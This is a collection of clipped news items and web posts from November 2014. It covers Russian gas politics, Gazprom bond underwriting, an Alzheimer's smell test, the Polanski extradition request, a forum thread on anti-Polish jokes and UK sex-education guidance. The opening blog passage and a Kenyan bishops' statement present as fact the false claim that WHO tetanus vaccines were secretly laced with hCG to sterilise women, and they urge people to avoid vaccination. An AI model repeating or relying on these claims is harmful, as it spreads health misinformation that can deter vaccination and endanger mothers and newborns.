When tetanus is laced with HCG and administered in five doses every 6 months, the woman develops antibodies against both the tetanus and the HCG in 2 '' 3 years after the last injection. Once a mother develops antibodies against HCG, she rejects any pregnancy as soon as it starts growing in her womb thus causing repeated abortions and subsequent sterility.
WHO conducted massive vaccinations campaigns using the tetanus vaccine laced with HCG in Mexico in 1993 and Nicaragua and Philippines in 1994 ostensibly to eradicate neonatal tetanus. The campaign targeted women aged 14 '' 49 years and each received a total of 5 injections.
Read the entire statement. This needs international action. At the very least, letters of inquiry from national governments so that serious investigations are undertaken. Surreptitious sterilization is a serious human rights violation.
UPDATE 2 (Friday, 2.30 p.m. PT) '' A friend just sent me a link to this piece in a Kenyan paper by Dr. Luis Franceschi, LLB, LL.M, LL.D, Dean of the Strathmore Law School, Law Lecturer and Legal Advisor to several national and international government commissions and programs. I think it's a great overview that emphasizes the need for transparency, honesty, and real collaboration for the good. He writes:
The concern of many doctors is based on the fact that the WHO/Unicef-sponsored tetanus immunisation campaign launched last year in October uses a vaccine that was imported into the country specifically for this purpose [sterilization], and bears a different batch number from the regular tetanus toxoid.
'....Could WHO have become an instrument of forced human manipulation and eugenics? Who knows? WHO says no. It is essential to entrust this matter to an impartial scientifically qualified third party.
'....Government, churches and WHO must come together and work together. The three are key players in our health-care system. Anyone who looks down upon the Church's health-care involvement and capacity is ignorant and has not travelled too far outside Nairobi.
The divide can be easily remedied. It is a matter of trust. The solution is simple, but requires from all sides a little token of humility and the capacity to back-pedal.
The government should bring on board the Church and representatives from WHO and hand in genuine samples of this vaccine batch to independent labs. If the vaccine is laced with hCG, then the campaign should be suspended. If it is not, the Church should apologise and support the campaign.
Clearly, one of the two should back-pedal, and this depends purely on scientific evidence, not religious or moral convictions.
Again, read his entire piece. For the sake of all involved, for the sake of human dignity, human rights, and human health, clear and true answers need to be found.
Kitui Diocese - Kitui Diocese - Vaccine Statement
Sat, 08 Nov 2014 23:29
PRESS STATEMENT BY THE CATHOLIC BISHOPS OF KENYA
STAND BY THE TRUTH (JOHN 8:32) DURING THE ORDINARY PLENARY ASSEMBLY IN NAKURU.
Preamble,
Dear Christians, fellow Kenyans and all people of good will, We, the Catholic Bishops in Kenya, meeting at St. Mary's Pastoral Center in Nakuru, greet you in the name of Our Lord.
During our weeklong Ordinary Plenary Assembly, we have taken stock and reflected deeply on the state of the nation and have identified the following issues of great concern:
1. InsecurityAs we gathered to start our meeting, we received the sad news of the killing of scores of security officers at Kapedo and other areas in the nothern frontier. The horrific event is a sad reminder of the state of the alarming level of insecurity in our country, and only the latest in a series of events across the country in which many Kenyans have lost their lives.
We share the pain of the families and friends who have lost their dear ones. It is sad, that despite many promises that come after such catastrophes, nothing gets done and the same tragic cycle is repeated soon thereafter.
For example, the Government promised stern action after Kenyans lost their lives in Lamu County. To date, only two people have been taken to court.
How many more Kenyans, including security officers, must lose their lives before real order is restored? We now want to state categorically, that time has come for less talk and more action.
One major cause of rampant insecurity in parts of this country is inequitable development. It is regretable, that despite 50 years of independence, some parts of this country have not seen meaningful development, with no roads, no schools and other essential social services.
We reiterate that peace and development are inseparable: there can be no peace without development; and no development without peace.
To ensure lasting security in the country, it is imperative that the Government ensures that National resources and services are equitably distributed.
At the same time, the Government must ensure that all disputed boundaries in the country are clearly demarcated to stem simmering tensions between counties over newly discovered mineral resources.
We are deeply concerned about clear lapses in our Government's security response mechanisms. News that the slain officers at Kapedo appealed for backup and no response was forthcoming for more than 30 hours, is a clear indication that there are dangerous gaps in our security apparatus, and that there is an urgent need for overhaul.
This is not the first time that we are raising this issue with the Government.
2. The Tetanus VaccineDear Kenyans, due to the direction the debate on the ongoing Tetanus Vaccine campaign in Kenya is taking, We, the Catholic Bishops, in fulfilling our prophetic role, wish to restate our position as follows:
The Catholic Church is NOT opposed to regular vaccines administered in Kenya, both in our own Church health facilities and in public health institutions.However, during the second phase of the Tetanus vaccination campaign in March 2014, that is sponsored by WHO/UNICEF, the Catholic Church questioned the secrecy of the exercise. We raised questions on whether the tetanus vaccine was linked to a population control program that has been reported in some countries, where a similar vaccine was laced with Beta- HCG hormone which causes infertility and multiple miscarriages in women.On March 26, 2014 and October 13, 2014, we met the Cabinet Secretary in-charge of health and the Director of Medical Services among others and rasied our concerns about the Vaccine and agreed to jointly test the vaccine. However the ministry did not cooperate and the joint tests were not doneThe Catholic Church struggled and acquired several vials of the vaccine, which we sent to Four unrelated Government and private laboratories in Kenya and abroad.We want to announce here, that all the tests showed that the vaccine used in Kenya in March and October 2014 was indeed laced with the Beta- HCG hormone.On 13th of October 2014, the Catholic Church gave copies of the results to the cabinet secretary and the Director of Medical Services. The same was emailed to the Director of Medical Services on October 17, 2014.Based on the above grounds, We, the Catholic Bishops in Kenya, wish to State the following:
That we are shocked at the level of dishonesty and casual manner in which such a serious issue is being handled by the Government.That a report presented to the Parliamentary Committee on Health November 4, 2014 by the Ministry of Health, claiming that the Government had tested the Vaccine and found it clean of Beta- HCG hormone, is false and a deliberate attempt to distort the truth and mislead 42 million Kenyans.That we are dismayed by attempts to intimidate and blackmail medical professionals who have corroborated information about the vaccine, with threats of disciplinary action. We commend and support all professionals who have stood by the truth.That we shall not waver in calling upon all Kenyans to avoid the tetanus vaccination campaign laced with Beta-HCG, because we are convinced that it is indeed a disguised population control programme.
3. Corruption and National ValuesDear Kenyans, we mourn the persistence of chronic corruption in all sectors of society-from the national police recruitment exercise that was nullified due to corruption concerns, national examinations whose integrity has been lost, land grabbing, missing land and court files, and disturbing reports of misappropriation of public resources.
We shall not get tired of reminding the Government and all Kenyans, that corruption is a cancer that is swiftly eating into every part of our society; one that is robbing our children of their legacy. Unless there is a united front against this vice, we will lose our Nation to forces of evil.
4. ConclusionDear Kenyans, and people of good will, We, the Catholic Bishops in Kenya, urge you to remain prayerful and vigilant. We want to assure you, that we shall not tire of reminding the Government of its constitutional mandate to you, dear Kenyans, to protect lives and provide basic services-that is our pledge to you.
May the Lord guide you and keep you safe now and forever more.
November 6th , 2014
Signed
His Eminence John Cardinal Njue
Chairman-Kenya Conference of Catholic Bishops
Rt. Rev. Philip Anyolo
Vice Chairman (KCCB)Homa Bay
Most Rev. Zacchaeus Okoth
Kisumu
Most Rev. Peter Kairo
Nyeri
Rt. Rev. Philip Sulumeti
Kakamega
Rt. Rev. Paul Darmanin
Garissa
Rt. Rev. Cornelius K. Arap Korir
Eldoret
Rt. Rev. Joseph Mairura Okemwa
Kisii
Rt. Rev. Alfred Rotich
Military Ordinariate
Rt. Rev. Maurice Crowley
Kitale
Rt. Rev. Norman Wambua King'oo
Bungoma
Rt. Rev. Peter Kihara, IMC
Marsabit
Rt. Rev. David Kamau Ng'ang'a - Aux. Bishop
Nairobi
Rt. Rev. Anthony Ireri Mukobo, IMC
Isiolo Vicariate
Rt. Rev. Virgilio Pante
Maralal
Rt. Rev. Salesius Mugambi
Meru
Rt. Rev. Emmanuel Okombo
Kericho
Rt. Rev. Martin Kivuva Musonde
Machakos
Rt. Rev. Anthony Muheria
Kitui
Rt. Rev. James Maria Wainaina
Muranga
Rt. Rev. Paul Kariuki Njiru
Embu
Rt. Rev. Maurice Muhatia Makumba
Nakuru
Rt. Rev. Dominic Kimengich
Lodwar
Rt. Rev. Emmanuel Barbara
Malindi
Apostolic Administrator
Mombasa
Rt. Rev. Joseph Mbatia
Nyahururu
Rt. Rev. John Oballa Owaa
Ngong
Rt. Rev. Joseph Allesandro Co-adjutor
Garrisa
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Peanut Butter Test Is A Quick And Easy Screen For Alzheimer's - Business Insider
Fri, 07 Nov 2014 06:47
Oct. 11, 2013, 11:21 AM286,424Popular Science
You may not have heard of "the peanut butter test," but it could become a fantastically low-cost and non-invasive way to test for Alzheimer's. After all, what's less invasive than asking someone to smell some delicious peanut butter?
"The ability to smell is associated with the first cranial nerve and is often one of the first things to be affected in cognitive decline," reads this release from the University of Florida, researchers from which conducted the experiment.
But with Alzheimer's patients, the sense of smell is affected in a very particular way: The left nostril is significantly more impaired than the right. Weird! But true.
The experiment involved capping one nostril and measuring the distance at which the patient could detect about a tablespoon of peanut butter. In Alzheimer's patients, the left nostril was impaired so thoroughly that, on average, it had 10 centimeters less range than the right, in terms of odor detection. That's specific to Alzheimer's patients; neither control patients (those not suffering from cognitive decline) nor those with other types of cognitive impairment (like dementia) demonstrated that nostril difference.
Peanut butter was used because it's a so-called "pure odorant." Generally our sense of smell actually incorporates two distinct sensations: the olfactory sense, or smell, as well as a trigeminal sense, which is like a more physical burning or stinging sort of sense. Peanut butter has no trigeminal element; it's only olfactory, which makes it ideal for testing, as the link to Alzheimer's is specifically dealing with the olfactory sense.
This could be a great, inexpensive, early warning system for those with Alzheimer's; the illness is not easy to detect, requiring neurological examination as well as mental, and has to be carried out by a professional. The peanut butter test? Much easier.
[via Futurity]
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F-Russia
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JP Morgan helps raise for Gazprom
Sat, 08 Nov 2014 23:47
Reuters, 08/11 00:33 CET
By David Henry and Mike Stone
NEWYORK (Reuters) '' When JPMorgan Chase & Co agreed to lead a $700 million (441.03 million pound) bond offering for Russian gas producer Gazprom OAO, it was doing business that some U.S. banks are afraid to do, several lawyers and a banker said.
Gazprom faces U.S. sanctions after the U.S. government widened its restrictions against Russia in September. U.S. companies are prohibited from providing goods or technology to Gazprom and others, although they can provide financial services to the companies, meaning JPMorgan obeyed the law in underwriting bonds for the company. Gazprom announced pricing for the deal on Thursday.
Peter Kucik, a former U.S. Treasury official who left the department in March, said generally short-term transactions, such as underwriting bonds, should not be a problem. But he said U.S. companies need to be careful in conducting long-term business with Russian firms or banks, since sanctions could always get tougher in the future.
Some U.S. bankers would hesitate to do the business, fearing that even if it is legal, it will look bad to regulators.
''Our relationship with regulators is so important. We would not want to make them mad,'' said a capital markets banker at a rival firm. ''No one would touch it with a 10-foot pole here.''
Some banks' hesitance to underwrite these sorts of bonds underscores the frostiness in relations between banks and their regulators since the financial crisis. Big banks globally face much tighter restrictions on their activity after the financial crisis of 2008 and have paid tens of billions of dollars in fines for violations over the past few years.
One lawyer who works extensively with sanctions matters said his clients are ''skittish,'' and are reluctant to expend the effort to determine whether, for example, underwriting bonds for Gazprom's would be legal.
''They just won't do business with the entities that are listed in those sanctions, even if it is legal,'' the lawyer said.
It is not clear exactly what JPMorgan did in this case, but the bank often checks in with regulators in advance of potentially sensitive assignments, such as through a phone call seeking an unofficial consent, a person familiar with the matter said.
Doing the deal could help JPMorgan cement its relationship with Gazprom, a company that the bank has worked with extensively in the past.
The U.S. sanctions against Russia are meant to be surgical, focusing on particular people, sectors, and businesses, lawyers who work with the sanctions said.
(Reporting by David Henry in New York, Additional reporting by Michael Stone in New York and Anna Yukhananov in Washington, Editing by Dan Wilchins and John Pickering)
euronews provides breaking news articles from Reuters as a service to its readers, but does not edit the articles it publishes.
Copyright 2014 Reuters.
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Russia increases investments in France; EU investments in Russian economy shrinking | Russia Beyond The Headlines
Sun, 09 Nov 2014 15:24
Russian investments in France are steadily growing, Executive Director of the Moscow office of Invest in France Agency Jerome Clausen has told Interfax.
Russian investments in France have not only declined but increased, he said adding that he meant the first half of this year, too.
He stressed that France is looking forward to the implementation of several joint projects with Russian companies.
At the present moment 20 new joint projects are being considered, and nine of them are expected to assume concrete form before the end of the year, he said.
Meanwhile, a European diplomatic source has told Inrerfax that after the introduction of sanctions investments in Russia from EU countries dropped by half.
"As a result of the poor economic situation and the introduction of sanctions investments in the Russian economy from European Union countries have contracted by 50 percent on the average," the source said.
In March through September 2014 the EU consistently introduced several rounds of sanctions against Russia that impacted the Russian economy and financial sector.
Read more: BRICS to propose IMF reform at G20 summit>>>The information in this section is provided by the Interfax news agency and is intended for personal use only. It may not be reproduced or distributed in any form without express permission from Interfax. To request permission to republish, email: ifaxru@interfax.ru
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Cooperation in Science With US to Remain Priority for Russia: Ambassador | Politics | RIA Novosti
Sun, 09 Nov 2014 15:12
BOSTON, November 9 (RIA Novosti) - Partnership between the United States and Russia in the sphere of science should not depend on the political situation, and Russia will continue viewing it as a priority, Russian Ambassador to the United States Sergey Kislyak said Saturday.
"At least in what concerns us [Russia], we are not in mood of reviving Cold War. Those difficulties that we are going through may probably have certain impact on the bilateral relations, but science relations have been and will be a priority for us, as I hope they are for our American colleagues too," Kislyak said during the Russian-speaking Academic Science Association (RASA) conference.
Conference taking place in Boston November 8-9 and supported by the Russian Embassy and Skolkovo Institute of Science and Technology is aimed at promoting dialogue between the Russian and international scientific communities.
RASA is a non-governmental organization, founded in 2008 and comprising former soviet scientists working outside of Russia. The organization has more than 400 members and holds annual conferences. There are two RASA sections at the moment '' in Europe and in the United States, with opening of the third one in Asia scheduled for 2015.
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Interview with Dr. Pavel Zavalny President of the Russian Gas Society, Deputy Chairman of the State Duma Committee on Energy
Sun, 09 Nov 2014 15:21
November 09th, 201412:00amPosted In: Pipelines, Natural Gas, News By Country, South Stream Pipeline, Russia, Featured ArticlesWe recently has the opportunity to receive the views ofDr. Pavel Zavalny, President of the Russian Gas Society and Deputy Chairman of the State Duma Committee on Energy.
1. Why do you think Russia's natural gas offer is the best choice for Europe today and in the mid-term?
There are a lot of arguments in favor of a continued commitment to Russian gas. First of all, there is our reputation, earned during the decades of reliable supplies. Europe is the biggest export market for Russian gas. Our gas-transportation system is already in place. It is connected with the major gas-pipeline systems in Western, Central and Eastern Europe.
The vast majority of analysts agree that European demand for imported gas will continue to grow in the foreseeable future, totaling about 70% of aggregate demand, despite increasingly lower levels of gas consumption in the EU. Gas production within Europe is declining. By 2040 it may drop to about 40% of its current level.
How will Europe satisfy its need for gas? Political instability in Africa and in the Middle East rules out any hope of reliable supplies from those areas. This is equally applicable to pipeline gas from Algeria and Libya, as well as to LNG shipments from those countries or from Egypt or Nigeria.
LNG exports from the United States will hardly satisfy the growing European demand for imported gas. First of all, it is estimated that the US can export no more than 50-60 billion cubic meters (per year). Most of this volume will be delivered to the Asia-Pacific region and other markets.
Secondly, any reasonable estimate of the price of American gas that can be shipped to Europe in the next few years comes to about $450 per 1,000 cubic meters, making it clearly no cheaper than Russian gas.
Let us not forget that LNG market, unlike pipeline gas, is very volatile. LNG will always find its way to the premium markets. That is the case now. Despite the fact that the quantity of LNG available throughout the world remains stable since 2013, the geography of its sources has significantly changed. Imports of LNG to the EU have fallen 50% over the two last years.
Gas from Russia is far more reliable. Its quantities and prices are predictable, because it is based on the traditional model of oil pricing tied to the spot market. However, it certainly requires more specific guarantees and a long-term commitment, in terms of quantities and prices, from the consumer, i.e., the European Union.
2. What is the Eastern European consumers' stand on Russia's gas? Is there any difference between the countries that may have access to alternative pipelines and those who totally depend on Ukraine as a transit country?
A number of countries in Eastern Europe - primarily Bulgaria, Slovakia, Hungary, and the Czech Republic - are historically quite dependent on Russian gas that passes through Ukraine. They will have to take the risk associated with transit through the transit country that is now torn by conflict and instability. The construction of the South Stream pipeline can eliminate such threats in the future and improve energy security in the Eastern Europe.
But the countries of Western and Central Europe are practically immune to this risk, because they get reliable natural gas supply from such pipelines as Yamal-Europe and Nord Stream. In fact, Nord Stream is not currently operating at 100% capacity. For political reason Brussels' decision on Gazprom's access to OPAL pipeline is being delayed again and again. Furthermore, Western and Central Europe have a well-developed system of LNG infrastructure.
3. Chancellor Angela Merkelclaimedthat foreign policy should take priority over economic cooperation. Brussels and Sofia seem to share Merkel's opinion, as their position towards the South Stream pipeline is ambiguous. In your opinion, what will happen to the pipeline if tougher sanctions are implemented?
The situation with the South Stream project proves that political considerations are more important than economic forecasts and common sense. Strategically, South Stream should be considered a pan-European project. It will facilitate the integration of the regional gas markets and the development of the gas-transportation system. South Stream will help funnel a significant amount of direct investment into the economies of the EU member states. The local communities hit by the global financial crisis will get thousands of jobs across Europe. Its operation will generate revenue for companies, as well as lucrative tax income for governments.
Meanwhile the Eurocrats are hindering the urgent work for political reasons. We face growing destabilization in Ukraine and Prime Minister Yatsenyuk's direct threats to block Russian gas export to Europe. In such situation the European policy of red tape is absolutely inexplicable.
South Stream is a vital project for Europe. Who would benefit from its failure? The answer is: those who desire a general escalation of tensions and the introduction of retaliatory sanctions '' in other words, a third party. The US, to be precise. Europe will only suffer.
4. Why does the Ministry of Energy of the Russian Federation believe that the Ukraine's law enabling the sale of the country's gas transportation system to a group of international investors violates the WTO rules and regulations?
Decisions made by the government of Ukraine and the Verkhovna Rada on the Ukrainian gas-transportation system do not allow Russia, a full-fledged WTO member, to participate in the management of that system. According to this piece of legislation, only companies from the US and the EU have the right to invest in it. The law is politically selective, and for this reason the Russian government considers it a violation of the WTO regulations.
I would like to point out that Russia, conscious of its responsibility for Europe's energy security and placing a high priority on strictly adhering to its contracts, has repeatedly made the offer to Ukraine and Europe to create a two- or three-party consortium that would not only manage the gas-transportation system, but also maintain it in good technical condition. Unfortunately, our business offers were not supported.
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Greece could be the strategic entrance and trade hub of natural gas in South-East Europe
Sun, 09 Nov 2014 15:16
November 07th, 201412:10amPosted In: Pipelines, Natural Gas, News By Country, (TAP) Trans-Adriatic Pipeline, Other Countries, Greece, Featured Articles, Expert Views, Balkans/SEE FocusAmid the hard times Greece is going through, the assertion that it is turning into an important regional player in the natural gas scene is not an exaggeration. Its geostrategic location on the map offers a number of advantages, which can translate to an economic competitive advantage, as well as to an upgrade of its geopolitical role in South-East Europe.
Firstly, Greece's role in the international chessboard of pipelines becomes critical. The selection of the Trans-Adriatic Pipeline (TAP) as the avenue for EU's Southern Energy Corridor, as well as the pending project for the Greece-Italy Poseidon (IGI) pipeline with the participation of DEPA, is decisive; not only will it support local economies during the construction phase, but also 'locks' this particular route through Greece as the main entrance hub of Azeri gas to Europe.
Analysts have pointed out often that the initial capacity of 10 bcm is scant compared to EU's gas imports of ca. 280 bcma (out of 460 bcm of total consumption). However, a quantity of 10 bcm covers to a large extent the import needs of the transit countries and their neighbours, taken into account that Greece, Bulgaria, Croatia, Romania and Albania import ca. 12 bcm cumulatively - with the numbers for Turkey and Italy being 45 bcm and 66 bcm respectively.
This capacity can therefore have a substantial impact on the diversification of supply sources for the aforementioned states, especially if the potential plan for doubling the pipeline's capacity in the future is considered. Moreover, the construction of the interconnecting pipeline Greece-Bulgaria (IGB) as developed by DEPA and its associates, will offer another potential source for diversification, as it will connect Bulgaria with TAP. The pipeline's capability of reverse flow will allow Greece to use current or future regasification infrastructure to supply Bulgaria and the whole region with liquefied natural gas. The further development of an interconnecting pipeline network, such as the proposed Bulgaria-Romania (IBR) and Bulgaria-Serbia (IBS) could help in this direction.
The development of this pipeline network will undoubtedly enhance the energy security for the whole region of South-East Europe, rendering Greece as an integral link of this process. The plan by the Greek natural gas system operator DESFA to construct a third gas storage facility in Revythousa could add an extra 95.000 cm, raising the system's overall storage capacity by 73%. The storage capacity could be further boosted with the proposed project by the Greek oil company Energean SA to turn a depleted oil field in the area of Kavala in Northern Greece into an underground storage facility with an estimated capacity of 1 bcm.
Furthermore, the import of gas from alternative supply sources could be increased substantially from the DEPA-planned Floating Storage Regasification Unit (FSRU) in the area of Kavala, which can bring in the equation another 150.000 cm of storage capacity, as well as the potential of pumping up to 5 bcma into the system. This project, in a potential synergy with a similar project proposed by the Greek company Gastrade SA in the region of Alexandroupolis, is critical in turning Greece in an emergent gas trade hub in the region.
Another factor to be considered is the important synergies with the maritime industry for the import and export of liquefied natural gas (LNG). Interestingly, natural gas could be also used as fuel for the ships, especially in the light of the recent EU proposals on fighting pollution caused by ships, including the Mediterranean Sea.
A special mention is in order with regards to the prospect of the transportation of Cypriot natural gas through the Eastern Mediterranean Pipeline proposed by DEPA. This pipeline, which is put forward in cooperation with the Ministry of Energy, Commerce Industry and Tourism of the Republic of Cyprus, could transfer initially 8 bcma of Cypriot and potentially Israeli gas. Furthermore, the existence of a pipeline network in the area could facilitate the Greek government's planning for the exploitation of its domestic hydrocarbon resources, as these could find more easily their way to the regional markets.
Also noteworthy is the fact that all of the aforementioned projects have been included as Projects of Common Interest (PCI) by the European Commission, which raises their significance but most importantly enhances their prospects of realization. The completion of all these investments would find Greece with an overcapacity of natural gas exceeding by far its annual consumption of ca. 4bcma, which apart from contributing to the energy security of the region, could also open the way for a further commercial use of the exceeding quantities. These developments would also support the aspiration of the Greek government to establish a virtual trading hub for natural gas based (possibly) in Thessaloniki.
The orientation of the Greek government to implement structural reforms and open up the energy market and thus enhance competition across the value chain, from energy generation to supply, as well as the attraction of foreign investments directed to energy infrastructure, could lay the foundation for the emergence of Greece as a strategic entrance and trade hub of natural gas in South-East Europe.
This article by Dr. Kostas Andriosopoulos and Dimitris Arvanitis was originally published in Greek in Kathimerini.
Dr. Kostas Andriosopoulos, Ass. Professor and Director of the Research Centre for Energy Management (RCEM.eu) at ESCP Europe Business School, London; Vice Chairman BoD of DEPA (Public Gas Corporation of Greece)
Dimitris Arvanitis, Lawyer, LL.M, Ph.D cand. in Energy Law (City University London)
Research Centre for Energy Management (RCEM) at ESCP Europe Business School is a Natural Gas Europe Knowledge Partner.
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BBC News - US criticised for seeking Polanski arrest in Poland
Sun, 09 Nov 2014 03:45
4 November 2014Last updated at 05:15 ET An advisor to the Polish President has accused the US of "absolute ignorance" in seeking to arrest Roman Polanski at the opening of a Jewish history museum.
Polanski has been wanted by US police since 1977 after fleeing the country before he could be sentenced for having sex with a 13-year-old girl.
US authorities contacted Polish officials as Polanski attended the museum opening in Warsaw last week.
The director was questioned by prosecutors but was not arrested.
Tomasz Nalecz, adviser to President Bronislaw Komorowski, said he felt it was inappropriate to seek the arrest of a "child of the Holocaust" in Poland during the opening of the museum, which highlights Poland's role as a safe haven for Jews for centuries before the Holocaust.
"From the point of view of Polish history," it "showed absolute ignorance", he said.
The US authorities have not yet responded to the comments.
Polish born Polanski lost his mother at Auschwitz. He survived the war by assuming a non-Jewish identity.
The Oscar-winning filmmaker who made his first films in Poland, now lives in France.
But he has been to Poland several times in recent years.
In 2010, the Polish prosecutor general said Polanski could not be extradited because under Polish law too much time had passed since the offences.
When asked about the latest attempts to arrest him in Poland, Prime Minister Ewa Kopacz said: "I think that Polish citizens, especially in cases of crimes whose statute of limitations have run out, should not be subject to extradition."
Former Polish President Aleksander Kwasniewski said he believed "someone on the American side really wants to bring Roman Polanski to the United States," but said "hunting" the director was not appropriate and Poland should "consider the matter closed".
Police in Los Angeles charged the director with sex offences including rape in 1977 before he accepted a plea deal, but he fled the country on the eve of his sentencing.
He has never returned to the US and did not collect his best director Oscar for The Pianist at the 2003 Academy Awards.
The director was held in Switzerland in 2009 after travelling to Zurich to pick up a prize at a film festival.
However, the extradition bid failed and he was eventually allowed to return to France.
Polanski is currently directing a stage show in Paris based on his 1967 film The Fearless Vampire Killers, but has said he wants to shoot a film on location in Poland on the condition he will not face extradition.
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Visa waiver travelers to face additional security screenings - Lexology
Sun, 09 Nov 2014 14:36
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Hollywood/TV Network subhuman hate jokes against Poland - Topix
Sat, 08 Nov 2014 23:53
US News
Dunellen, NJ
Its so sad that the Leftist Hollywood/TV network idiots of the 1960's an 1970's hated Polish people so much (for being a conservative Catholic/Christian nation) that they IMPORTED Nazi German subhuman intelligence jokes against Polish people into the US to degrade Poles.....WITHOUT telling the American public about the "Polish joke" origin which is Nazi German propaganda.Hollywood and its Hollywood TV based networks like NBC-TV and CBS-TV made sure to NOT tell the American public that the subhuman intelligence hate jokes they used to inject into the American public ORIGINATED from Nazi German propaganda. What hypocrites these Left-wing Hollywood/TV jerks are......when they demonize the Nazi Germans for what they did to their FAVORITE ethnic groups......but SECRETLY LOVE the HATE PROPAGANDA that the Nazi Germans used against the Polish people.......who many Leftist Hollywood/TV media morons LOVE TO HATE.
It makes NO sense why "American" media in Hollywood or its TV networks would hate Polish people so much when Poland for the past hundreds of years has been a good friend and supporter of America.
US News
Dunellen, NJ
"Polish jokes" origin is Nazi German propaganda....which Poland-Haters in Hollywood and its TV networks REFUSED to DISCLOSE to the American public.......who they were trying to INDOCTRINATE with their Anti-Polish hatred and propaganda.KeepCalmNcarryON
Hemet, CA
US News wrote:
"Polish jokes" origin is Nazi German propaganda....which Poland-Haters in Hollywood and its TV networks REFUSED to DISCLOSE to the American public.......who they were trying to INDOCTRINATE with their Anti-Polish hatred and propaganda.http://www.youtube.com/watch?v =sNr4oydjihUXX
YOU'RE RIGHT! HOLY CRAP, IF I HAD ONLY KNOWN!!!Sorry about that. We are a MULE nation. If I could write a page list of insults toward Nazis and the NEO Nazi Neo Conservatives AND the little baby-talk cutsie pootsie far left MEDIA. What a bunch of CRAP! NOT real life at all. My sixth grade teacher caught the whole classroom full of US with that Polish joke thing TRUE story: As an experiment, my teacher had each one of us tell the class our "nationality". Sure as shit, a girl said Polish and EVERYONE (asshole ME included) burst out laughing!WE ALL HAD THAT SAME POLISH JOKE BOOK FROM A FEW YEARS BEFOREI learned those jokes from my older cousin before I acquired the book myself, so had it some time before that day in class. That's when we learned that Poles are some of the MOST intelligent and educated people on the planet! OOops! Lemme chang!e that"pale horse of death" name to something more attractive..."KeepCalmNca rryON"....Fabulous!US News
Dunellen, NJ
KeepCalmNcarryON wrote:
YOU'RE RIGHT! HOLY CRAP, IF I HAD ONLY KNOWN!!!Sorry about that. We are a MULE nation. If I could write a page list of insults toward Nazis and the NEO Nazi Neo Conservatives AND the little baby-talk cutsie pootsie far left MEDIA. What a bunch of CRAP! NOT real life at all. My sixth grade teacher caught the whole classroom full of US with that Polish joke thing TRUE story: As an experiment, my teacher had each one of us tell the class our "nationality". Sure as shit, a girl said Polish and EVERYONE (asshole ME included) burst out laughing!WE ALL HAD THAT SAME POLISH JOKE BOOK FROM A FEW YEARS BEFOREI learned those jokes from my older cousin before I acquired the book myself, so had it some time before that day in class. That's when we learned that Poles are some of the MOST intelligent and educated people on the planet! OOops! Lemme chang!e that"pale horse of death" name to something more attractive..."KeepCalmNca rryON"....Fabulous!
Hi KeepCalmNcarryON,Thanks for your informative and intelligent feedback and comment on this topic.
You sound like a wise and fair minded American.
I am glad to see that you were able to see through the Hollywood/TV propaganda against Polish people, where the Hollywood/TV media establishment tried to portray Polish people... with the Nazi German stereotype that Polish people have "subhuman intelligence".
To be frank, to me it never made any sense why these Leftist/Liberals in Hollywood and the "American" TV media had this anti-Polish prejudice against Polish people when Poland and Poles have been one of the most Pro-American allies of the world.
To be fair, of course, this doesn't mean all of Hollywood and the TV networks are Anti-Polish, but to be sure, there has certainly been a nasty ELEMENT in this Hollywood/TV media establishment that has been bigoted against Polish people and they indeed attempted to use their media resources to degrade Polish people to the American public.
But if I may......I would like to counterbalance all of this Hollywood/TV media Anti-Polish Defamation propaganda by presenting some facts on the important roles Poland and Poles contributed in helping America and its Allies to be free from Nazi Germany control and domination (which Hollywood and the "American media" has SUPPRESSED to the public):
Polish Squadron 303 (and other Polish fighters) was KEY in destroying and taking down Nazi German planes in the ''Battle of Britain''http://www.derekcrowe.com/photos/DVC_20100904...
http://en.wikipedia.org/wiki/No._303_Polish_F...WWII Polish patriots were KEY in breaking the Difficult and Complicated ''Unbreakable'' Nazi German Communication Enigma Code, which greatly led to the Allies Defeating Nazi Germanyhttp://www.bing.com/images/search...
http://www.foxnews.com/world/2014/08/05/world...
http://en.wikipedia.org/wiki/Marian_Rejewski
KeepCalmNcarryON
Hemet, CA
I CAN DO SOMETHING ABOUT THIS, AND I WILL!I'm close by Hollywood and I know just what to do.Be at Peace dear heart,It takes time, patience, perseverance and a little information at the perfect place and time.I'm MORE THAN HAPPY to apply my efforts to correcting this problem.BTWMany folks working in Hollywood are my age (49) or younger and they just don't know about this, just like I didn't know. Many are adults who subconsciously think of themselves as children.It sounds strange I know, but I am someone who seeks truthand many times I find the ultimate truth of a thing to be the least likely thing I would have first suspected (truth is stranger than fiction).Although I am happily grounded in reality, it seems that the strange and unlikely is my "native home".There's a guy on another thread that calls himself THE DEVIL and he always posts in all capital letters. I'm the only one who's ever gotten away with smarting off to him AND the only one he has ever complimented - Part of my "native home".Hollywood will be relatively easy to deal with.YOU just MAKE me HAPPY and inspired to assist!Cheeri-O!
KeepCalmNcarryON
Hemet, CA
Topix moderators are way cool! I can't possibly make a post come out like that on my own... It looks like a squadron of planes!!!!:-O !(WoW!)
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Teachers told: sex at 13 'is normal part of growing up' - Telegraph
Sat, 08 Nov 2014 23:23
It also says that ''choosing not to be sexually active'' is a ''green behaviour''.
The move was questioned by the chairman of the Commons Education Select Committee.
Speaking at a committee hearing on Tuesday, Graham Stuart, the Conservative MP for Beverley and Holderness, said critics of the guide will argue that "not to send out a message that it's wrong, that it's harmful, it's dangerous, is in fact to almost to collude with something which we know is damaging to young people".
Sarah Carter, trustee of the Family Education Trust, told the committee that the guidance was illegal, adding: ''The law states that young person should wait until they are 16 at least.''
"That's awfully unlawful behaviour, and so quite often what's taught in [sex education] isn't always lawful,'' she said.
The DfE insisted the guide was "not intended for use in planning sex and relationships lessons".
"No teacher should ever encourage or condone behaviour which is unlawful or risky," a spokesman said.
Sex education is largely covered as part of personal, social, health and economic (PSHE) education lessons in primary and secondary schools but the subject is not compulsory. The topic is also included in mandatory secondary school biology lessons.
The Coalition has resisted calls to make PSHE a compulsory subject but has endorsed guidance produced by a number of charities designed to improve standards in the subject.
One online guide has been produced by the sexual health and advice service Brook alongside the PSHE Association and the Sex Education Forum. It is supported by Nick Clegg, the Deputy Prime Minister, and Lord Nash, the Schools Minister.
It contains a link to Brook's online ''sexual behaviours traffic light tool'' which is meant to help professionals who work with children '' including teachers '' to assess whether pupils are taking part in unhealthy behaviour.
So-called ''green behaviours'' are defined as those that ''reflect safe and healthy sexual development''.
For children aged nine to 13, green behaviours include ''solitary masturbation'' and ''use of sexual language''.
